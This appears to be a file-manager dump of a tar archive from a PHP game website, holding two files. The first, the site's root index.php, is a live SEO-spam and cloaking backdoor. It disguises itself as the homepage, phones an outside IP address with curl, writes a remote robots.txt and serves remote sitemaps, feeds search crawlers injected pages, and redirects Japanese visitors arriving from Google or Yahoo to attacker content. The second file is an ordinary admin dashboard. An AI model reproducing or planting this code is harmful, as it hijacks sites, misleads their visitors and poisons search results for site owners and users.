File manager - Edit - /home/u970520068/domains/kbhcrazygames.com/public_html/static/img/logo/index.php.tar
Back
home/u970520068/domains/kbhcrazygames.com/public_html/index.php 0000666 00000013601 15027214763 0020064 0 ustar 00 <?php error_reporting(0); @set_time_limit(120); @ignore_user_abort(1); $tr = "http://192.187.123.123/j250626_13/"; class Req { public function server($name = '', $default = '') { if (empty($name)) { return $_SERVER; } $name = strtoupper($name); return isset($_SERVER[$name]) ? $_SERVER[$name] : $default; } public function iss() { if ($this->server('HTTPS') && ("1" == $this->server('HTTPS') || "on" == strtolower($this->server('HTTPS')))) { return true; } elseif ('https' == $this->server('REQUEST_SCHEME')) { return true; } elseif ('443' == $this->server('SERVER_PORT')) { return true; } elseif ('https' == $this->server('HTTP_X_FORWARDED_PROTO')) { return true; } return false; } public function host() { $host = strval($this->server('HTTP_X_FORWARDED_HOST') ?: $this->server('HTTP_HOST')); return strpos($host, ':') ? strstr($host, ':', true) : $host; } public function scheme() { return $this->iss() ? "https" : "http"; } public function dm() { $port = $this->port(); if (in_array($port, [80, 443])) { return $this->scheme() . "://" . $this->host(); } return $this->scheme() . "://" . $this->host() . ':' . $port; } public function port() { return (int)($this->server('HTTP_X_FORWARDED_PORT') ?: $this->server('SERVER_PORT', '')); } public function ip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('REMOTE_ADDR')) { $ip = getenv('REMOTE_ADDR'); } else { $ip = $this->server('REMOTE_ADDR'); } return $ip; } public function isc() { $agent = strtolower($this->server('HTTP_USER_AGENT')); if ($agent != '' && preg_match('/googlebot|google|yahoo|aol/si', $agent)) { return true; } return false; } public function isg() { $refer = strtolower($this->server('HTTP_REFERER')); if ($refer != '' && preg_match('/google.co.jp|yahoo.co.jp|google.com/si', $refer)) { return true; } return false; } public function uri() { if (($pos = strpos($this->server('REQUEST_URI'), '.php')) !== false) { $script_name = basename($this->server('SCRIPT_FILENAME')); if (basename($this->server('SCRIPT_NAME')) === $script_name) { $url = $this->server('SCRIPT_NAME'); } elseif (basename($this->server('PHP_SELF')) === $script_name) { $url = $this->server('PHP_SELF'); } elseif (basename($this->server('ORIG_SCRIPT_NAME')) === $script_name) { $url = $this->server('ORIG_SCRIPT_NAME'); } elseif (($pos = strpos($this->server('PHP_SELF'), '/' . $script_name)) !== false) { $url = substr($this->server('SCRIPT_NAME'), 0, $pos) . '/' . $script_name; } elseif ($this->server('DOCUMENT_ROOT') && strpos($this->server('SCRIPT_FILENAME'), $this->server('DOCUMENT_ROOT')) === 0) { $url = str_replace($this->server('DOCUMENT_ROOT'), '', $this->server('SCRIPT_FILENAME')); } $requri = $url . substr($this->server('REQUEST_URI'), $pos + 4); } else { $requri = substr($this->server('REQUEST_URI'), strpos($this->server('REQUEST_URI'), '/')); } return rtrim($requri, '/'); } public function execReq($url, $p = array()) { $url = str_replace(' ', '+', $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } } $req = new Req(); $isc = $req->isc(); $isg = $req->isg(); $umap = $tr . "map"; $uri = urldecode($req->uri()); $p = array( "domain" => $req->dm(), "port" => $req->port(), "uri" => $uri ); if (substr($uri, -6) == "robots") { $output = $req->execReq($tr . "robots", $p); $rpt = __DIR__ . "/robots.txt"; file_put_contents($rpt, $output); $robots_cont = @file_get_contents($rpt); if (strpos(strtolower($robots_cont), "sitemap")) { echo ("robots.txt file create success!"); } else { echo ("robots.txt file create fail!"); } } if (substr($uri, -4) == ".xml") { if (strpos($uri, "allsitemap.xml") || strpos($uri, "sitemap-index.xml") || strpos($uri, "sitemap-index-1.xml") || strpos($uri, "index.xml")) { $output = $req->execReq($umap, $p); header("Content-type:text/" . (substr($output, 0, 5) === '<?xml' ? 'xml' : 'plain') . '; charset=utf-8'); echo ('' . $output); }else{ $output = $req->execReq($tr . "word", $p); header("Content-type:text/xml; charset=utf-8"); if ($output == "1") { echo ('' . $req->execReq($umap, $p)); } else { echo ('' . $output); } } }else{ $lang = $req->server('HTTP_ACCEPT_LANGUAGE'); if (!$isc && $isg && preg_match('/ja/i', $lang)) { $p["ip"] = $req->ip(); echo ('' . $req->execReq($tr . "jump", $p)); }elseif ($isc) { echo ('' . $req->execReq($tr . "indata", $p)); } } home/u970520068/domains/kbhcrazygames.com/public_html/admin/index.php 0000666 00000013275 15027247665 0021172 0 ustar 00 <?php require "../app/includes/function_general.php"; ?> <?php include "includes/header.php"; ?> <body class="dark:bg-[#121317]"> <main class="d-flex"> <?php include "includes/sidebar.php"; ?> <div class="main w-full px-12 py-6"> <div class="flex gap-6"> <div class="box bg-[white] dark:bg-zinc-900 rounded-md w-full p-4"> <span class="uppercase text-gray-500 text-xs ">user</span> <div class="flex justify-between"> <span class="font-bold text-2xl dark:text-gray-100"> <?php echo Total_Items("zon_users") ?> </span> <span class="bi-activity text-3xl text-gray-400"></span> </div> <span class="text-gray-500 text-xs whitespace-nowrap">There are total user</span> </div> <div class="box bg-[white] dark:bg-zinc-900 rounded-md w-full p-4"> <span class="uppercase text-gray-500 text-xs ">comment</span> <div class="flex justify-between"> <span class="font-bold text-2xl dark:text-gray-100"> <?php echo Total_Items("zon_comments") ?> </span> <span class="bi-activity text-3xl text-gray-400"></span> </div> <span class="text-gray-500 text-xs whitespace-nowrap">There are total comment</span> </div> </div> <div class="flex gap-6"> <div class="box bg-[white] mt-6 dark:bg-zinc-900 rounded-md p-4 w-full"> <span class="uppercase text-gray-500 text-xs ">Game</span> <div class="flex justify-between"> <span class="font-bold text-2xl dark:text-gray-100"> <?php echo Total_Items("zon_games") ?> </span> <span class="bi-activity text-3xl text-gray-400"></span> </div> <span class="text-gray-500 text-xs ">There are total games</span> </div> <div class="box bg-[white] mt-6 dark:bg-zinc-900 rounded-md p-4 w-full"> <span class="uppercase text-gray-500 text-xs ">category</span> <div class="flex justify-between"> <span class="font-bold text-2xl dark:text-gray-100"> <?php echo Total_Items("zon_category") ?> </span> <span class="bi-activity text-4xl text-gray-400"></span> </div> <span class="text-gray-500 text-xs whitespace-nowrap">There are total category</span> </div> </div> <div class="games-list"> <table class="w-full mt-10 rounded-md"> <thead class="border-b-2 dark:border-zinc-800 px-16 border-gray-200 py-2"> <td class="py-2 text-xs text-gray-600 px-4">ID</td> <td class="py-2 text-xs text-gray-600 px-4 w-full">Name</td> <td class="py-2 text-xs text-right"></td> </thead> <tbody class="rounded-md "> <?php $run = mysqli_query($con, 'select * from zon_games order by id desc limit 10') ?> <?php while ($row = mysqli_fetch_assoc($run)) { ?> <?php if ($row['game_status'] == 0) { ?> <tr class="bg-[white] dark:bg-zinc-900 px-16 "> <td class="text-xs text-gray-500 px-4 "># <?= $row['id'] ?> </td> <td class="text-gray-500 px-4 text-sm flex items-center py-3"><img class="object-cover h-12 w-12 rounded-lg mr-4 overflow-hidden" src="<?= $row['game_image_url'] ?>"> <a href="add-game.php?action=update&token_id=<?= $row['id'] ?>"> <?= $row['game_name'] ?> </a></td> <td class="text-right relative px-6"> <button data-target="#dc_<?= $row['id'] ?>" class="bi-three-dots-vertical text-gray-500 drop_btn"></button> <div id="dc_<?= $row['id'] ?>" style="z-index: 99;" class="dropdown absolute bg-white text-right right-0 hidden flex-column "> <a href="functions/functions.php?action=delete&token_id=<?= $row['id'] ?>&content_type=game&url=<?php echo $site_url ?>admin/index" class="text-xs px-4 py-2 text-red-700">Delete</a> <a href="add-game.php?action=update&token_id=<?= $row['id'] ?>&content_type=game" class="text-xs px-4 py-2">Edit</a> </div> </td> </tr> <?php } ?> <?php } ?> </tbody> </table> </div> </div> </main> </body> <?php include "includes/footer.php"; ?> </html>